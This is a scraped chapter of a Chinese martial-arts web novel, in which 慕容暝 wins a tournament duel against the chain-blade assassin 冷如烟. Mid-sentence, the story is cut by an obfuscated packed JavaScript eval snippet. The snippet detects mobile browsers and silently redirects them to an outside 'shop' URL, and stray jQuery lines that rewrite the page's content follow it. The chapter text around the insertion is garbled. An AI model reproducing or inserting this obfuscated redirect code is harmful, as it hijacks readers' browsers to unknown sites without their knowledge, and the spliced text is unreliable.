19.集英盛会6

作品:《正道女主养成手册

    慕容暝飞身跃上擂台,冷如烟早已等候在此,她见到慕容暝,莞尔一笑:“刚才还在台下见到少主,没想到我们这么快就成了对手,真是有缘。”


    慕容暝道:“久闻冷姑娘多年蝉联影绝宫恶贯满盈榜前三甲 ,今日能够领教,是我之幸。”


    恶贯满盈榜,通俗些说就是影绝宫内的杀手业绩榜单,此处的恶贯满盈也并不是平常的意思,而是恶人的恶、贯穿的贯。杀手完成的暗杀委托数量越多,排名也就越靠前,也就代表杀手的实力越强。


    冷如烟笑道:“没想到慕容少主还知道我们影绝宫的事。我也久仰少主大名,能与少主切磋,亦是我的荣幸。”


    两人相对而立,抱拳一礼,一人拔剑一人亮刀,蓄势待发,只待裁判敲响铜锣。


    慕容暝记着萧迢对她的叮嘱,悄然打量起了冷如烟手中那把名叫螭吻的双头刀。


    螭吻细窄修长,几乎与冷如烟身量等长,整副刀身呈优美的流线型,两端的月牙刃锐利无匹,隐生寒芒。想必冷如烟平日里就是用这对刀刃割断许多暗杀目标的喉咙,送他们去见了阎王。


    慕容暝单看着螭吻的外表,并没有发觉什么奇特之处,倒不知螭吻的玄机究竟藏在哪里。


    裁判手中高扬的锣槌落下,正中铜锣锣心:“比试开始——!”


    “慕容少主,小心了!”


    铜锣声响的刹那,冷如烟身形一动,如鬼魅般向慕容暝趋近,速度快到难以用肉眼追寻,只余一道模糊残影。


    “好快……!”慕容暝不及多想,提起轻功拔腿便闪,二人在擂台上表演了一出你追我赶的戏码。


    双头刀不是常见的兵刃,螭吻在冷如烟的手中旋舞生花,行刀诡谲,如星月斗转,织成一片滴水不漏的圆弧刀阵,极富观赏性的美感与随时夺人性命的危险融合得妙到毫巅。


    慕容暝心中叹为观止,想着若是冷如烟日后改行不做杀手,单凭这一手耍刀花的手艺,也定能赚得盆满钵满。


    在和冷如烟交锋数十招后,慕容暝逐渐摸清了冷如烟的招式路数。冷如烟身为杀手,走的是一击毙命的路数,关窍便是快准狠这三字箴言,她并不轻易出刀,但只要慕容暝动作间显露出分毫破绽,螭吻便会霎时出击,绝无犹疑。


    慕容暝丝毫不敢懈怠,她原是故意卖些破绽引诱冷如烟攻击,借机看清她的招式,但好几次都险些让冷如烟得逞。慕容暝不欲再多做试探,全力以对冷如烟那密不透风的攻势。


    台下众人应接不暇,连她们二人的身影都看不真切,只觉得擂台上一片刀光剑影甚是骇人,战局之险峻可想而知,只怕一不留神身上就要添伤。


    “这......完全看不清啊,谁眼神好的能不能讲解一下啊?”


    有人捏紧了手里的押注凭票,后悔道:“还能去取消刚刚下的注吗?……心脏实在受不住了!”


    “都别嚷嚷,专心些看,越是这种时候就越不能分神!”


    萧迢听着众人的议论,目光紧紧追随着擂台上那道执剑的碧色身影,脸上的表情并不轻松,似乎他此刻就在擂台上,和慕容暝共同经历了这一遭。


    慕容晴不擅武功,是个外行人,她只知慕容暝和冷如烟正打得难分难解,一片眼花缭乱。她瞧见萧迢略显凝重的神情,问道:“怎么了,这位冷姑娘很难对付么?”


    “嗯。”萧迢沉吟片刻,点了点头,“她是个很厉害的对手。”


    擂台上,慕容暝也是同样凝重,她此时虽并未落下风,能和冷如烟打得平分秋色,但是她知道冷如烟还藏着一个杀手锏没有使出——萧迢所说的那个千万小心。


    为何冷如烟迟迟没有动用她的杀手锏,难道她认为此时的处境还未到需要使出那招的地步么?念及此处,慕容暝心下一沉,今日这场仗怕是比她所想的更为艰难。


    与此同时,对面的冷如烟同样也不好过。她的速度在影绝宫这种杀手云集的地方已是翘楚,没想到慕容暝丝毫不输给她,而且慕容暝的剑极难捉摸,看似漫不经心般随意挥挑,实则无懈可击,叫她难寻一丝破绽。


    冷如烟在等,等一个恰到好处的时机,用那招杀慕容暝一个措手不及。


    “慕容少主,你很不错。”打斗中,冷如烟仍不忘夸赞慕容暝一句,又补充道:“不过……如果只有这种程度,想要胜我,还远远不够。”


    慕容暝剑上攻势不减,淡淡应道:“冷姑娘,这激将法用得有些老套了,有什么招使出来便是。”


    冷如烟一噎,她没想到慕容暝简直软硬不吃,情绪稳当似块朽木顽石,反倒是她自己先耐不住了。她清喝一声,道:“那好,今日便让少主见识见识我这一招!”


    说罢,冷如烟眼中锐芒一凛,手中螭吻朝慕容暝突刺而来,就在刀刃迫近慕容暝身前的一瞬,她手中微动,螭吻从中一分为二,瞬间被拆分成一对双刀!冷如烟将其中一柄刀攻向慕容暝脖颈的要害处,慕容暝下意识挥剑格挡,与此同时,另一柄刀迅疾如电,直取慕容暝心口。


    慕容暝暗自心惊,剑到用时方恨少,如此近的距离之下,一把剑对付两柄刀实在捉襟见肘,她此时再收剑挡下另一柄刀已然来不及了。电光石火间,慕容暝果断后撤一步,纵身后翻拉开了二人之间的距离。


    冷如烟见状,得逞一笑:“就知道你会这么躲……”


    她抓准了慕容暝后翻时滞留半空的破绽,果断启动隐藏在刀柄上的机关,只见那刀刃顷刻间脱离刀柄,朝慕容暝飞射而去,而刀刃和刀柄间以一条金属锁链连结,形似蝎尾。


    慕容暝腾于半空,冷如烟此时恰巧处于她的盲区,她无法看清冷如烟的动作,感到有什么东西缠上了她的左臂,紧接着,一股大力将她扯下拖拽过去。


    慕容暝只见眼前刀光一晃而过,心知冷如烟的刀在那处恭候着她,顾不上多想,凭直觉将身子如鱼跃般一旋,堪堪躲过冷如烟这致命一刀。


    冷如烟见慕容暝竟然躲过了她这百试百灵的杀招,不免有些气馁,冷哼一声:“慕容少主的反应还真是迅速,不过……可还没结束呢!”


    话音未落,冷如烟手腕一振,缠于慕容暝左臂上的锁链得寸进尺,如蝎尾般灵活地攀附缠绕,旋即,冷如烟将手骤然收紧,那链子牢牢锁在了慕容暝的手臂上。


    “唔……!”


    左臂一阵钻心剧痛接踵而至,令她不由自主闷哼出声。她这才看清,那锁链之上,布满了细密的金属倒钩,那些倒钩随着冷如烟的动作深深嵌进她的手臂,每每挪动分毫,那倒钩便会刮走她的些许血肉。


    原来这就是螭吻的玄机所在,它不仅仅是一把双头刀,更是一对堪称刑具的链刃!


    汩汩鲜血瞬间洇红了慕容暝的衣袖,触目惊心,一时间,观赛席上的惊呼声此起彼伏,不绝于耳。


    慕容晴哪还沉得住气,几欲掀桌而起,骇然失声道:“姐姐!”


    萧迢同样将那抹刺目的红看在眼中,虽不发一语,但早已攥紧了手中的茶盏,眼神中俱是担忧之色。


    擂台上,冷如烟悠然问道:“怎样,慕容少主,是不是痛极了?”


    冷如烟说得不错,她确实是痛极了,那些倒钩如同猎犬的一嘴尖牙死咬着不放,嵌入血肉的感觉是那么鲜明,她甚至能感受到每一根倒勾的形状,叫嚣着要吵醒她每一根痛觉神经。


    一滴冷汗顺着慕容暝的额角蜿蜒滑落,她早已习惯了对敌人隐藏自己的痛苦,硬是强忍着一声不吭,没有半分要服软的意思,同冷如烟无声僵持着。


    冷如烟言笑晏晏,就好像下手如此狠辣的人并非是她,还十分好心地替慕容暝想好了退路:“慕容少主,你若主动认输,我就松了这链刃,让你少吃些苦头,若是不肯……到时候你这只手还保不保得住,我可不敢说。”


    慕容暝闻言,蓦地抬眸直视向冷如烟,一双眼中似有重明烈燚,她抵着剧痛狠狠挤出一句:“……让我认输?下辈子也没可能!”


    她此生最恨的,便是受制于人的无能为力之感。以前是她不够强大,无力反抗,如今她已有剑在手,若还能再受人要挟,那她的这一身剑法,可就全学到狗肚子里了!


    慕容暝的斗志被冷如烟的“认输”二字彻底激发,她破釜沉舟,非但不理会锁在她手臂上的链刃,反而将左手手臂顺势翻转,以此为着力点,反手抓着冷如烟的锁链猛然一拽。


    冷如烟完全没料想到慕容暝会如此动作,猝不及防,被慕容暝拽得向前踉跄了一步,瞬间拉


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17183983|194806||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    进了两人之间的距离。


    慕容暝的左手紧紧攥在锁链上,掌心早已被链刃划破,血流如注,深可见骨,一整条左手手臂惨不忍睹,但她却仿佛感受不到疼痛一般,用未被冷如烟挟制的右手挥剑奋力攻去。


    冷如烟惊诧万分,以往在她的链刃折磨下痛苦求饶的对手不计其数,像慕容暝这般全然不顾及的还是头一个。她不敢置信地道:“你疯了……?快松手,你的手真会废了的!”


    冷如烟错愕的这一瞬,便足够慕容暝抓住机会,细雪剑的剑锋决然刺出,冷如烟防备不及,剑锋瞬间没入她的肩头,顿时见血,狠狠回敬了冷如烟一番。


    首席上,观战的慕容连衡一声叹息,蓝令容看向了他,问道:“怎么,心疼那丫头了?”


    慕容连衡道:“暝儿这要强的性子,遇事从不肯退让半分,和阿执当年真是一般无二。”


    蓝令容听慕容连衡提起叶执,眉梢漠然一挑,冷肃道:“她当然不能退,她代表的是我们问剑谷,未战至最后一刻,如何能认输?”


    慕容暝的这出其不意的一招,令全场瞬间沸腾。二人势均力敌,又都有极强的实战经验,对战过程险象环生、酣畅淋漓,绝对是难得一见的精彩对决。有人称赞慕容暝骁勇无畏,也有人说慕容暝伤敌一千自损八百,太过鲁莽。


    冷如烟这下可谓是作茧自缚,自讨苦吃了。慕容暝战意如潮,又拽着那锁链不肯撒手,那道原本用来挟制慕容暝的锁链,此刻却将她和慕容暝牵制在了一处,难舍难分。冷如烟若想招架防御,就必得先将手中的链刃收回,而她这次能凭链刃得手,全依仗着慕容暝不熟悉她的武器,攻其不备才得此机会。一旦慕容暝摆脱了链刃的钳制,又有了防备,再想得手可就不轻易了。


    慕容暝道:“冷姑娘,方才的话回敬给你,你若肯认输,我可以让你少吃些苦头。”


    冷如烟这下无语凝噎了。但她身为杀手,实战经验成熟老练,当即做出抉择,指尖微动,再次触发刀柄机关收回了链刃。链刃脱离慕容暝手臂之时,自然又连带着刮下不少皮肉,看得众人头皮发麻,在心中齐齐为慕容暝喊痛。


    “这是什么东西啊,要打就光明磊落的打,使这些折磨人的阴私手段是做什么!”慕容晴满腔愤懑无处使劲,眼圈不禁泛起了红,要不是碧血和丹心在不远处守着,她早就忍不住冲到擂台上叫停了。


    碧血和丹心对视一眼,二人都是一副无可奈何的神情,对慕容暝的奋不顾身早已见怪不怪。


    碧血淡定道:“我去取药箱来。”


    萧迢早已无意识地攥紧了手,却是有些茫然。身为武者,比武决斗乃是家常便饭,负伤更是在所难免,平日里他也并不觉得有什么,可这一次,他忽然觉得慕容暝左臂的血红太过灼人眼目,他的呼吸没来由地一窒,就像心上停了只飞鸟,正有一下没一下地扇动着翅膀,裹挟着一阵阵说不清道不明的风,不可断绝,不得平息。


    一定要用这么兵行险招的方式么,连自身的安危也不顾及?萧迢如此想着,但他旋即又释然了,换作他在擂台上对战冷如烟,也会做出和慕容暝同样的举措,她自始至终,都只是冷静、果断地选择了最行之有效的方法。


    慕容暝左臂解去了桎梏,重获自由,汹涌难平的痛感反倒催生出了更加强烈的战意,冷如烟用双刀勉力招架,却也止不住节节后退。冷如烟实在没招了,再次发动了她的链刃,想要凭此解除自己困境。可慕容暝已经吃过一次亏,就不会再次踩进同一个坑里,她身形腾挪,轻松避开链刃,继续向冷如烟攻去,剑势如虹,不可阻挡。


    冷如烟欲哭无泪,为了躲避只能一再撤步向后倒身,同时在心中怒骂半柱香前大放阙词的自己……要早知道慕容暝是这么个不要命的疯子,又何苦要去激她!


    在场所有人皆屏息以待,慕容暝猛然刺出细雪剑,剑尖直抵冷如烟面门。可她却蓦然顿住了,剑尖悬停在冷如烟鼻尖前,未再前进分毫,而后收剑入鞘,面色淡然未改。


    “冷姑娘,承让了。”


    冷如烟的脚后跟出界了一寸。


    全场寂然,就连裁判也看得呆怔迟迟未动,半晌,他这才惊觉,敲响铜锣扬声道:“问剑谷,慕容暝胜——!”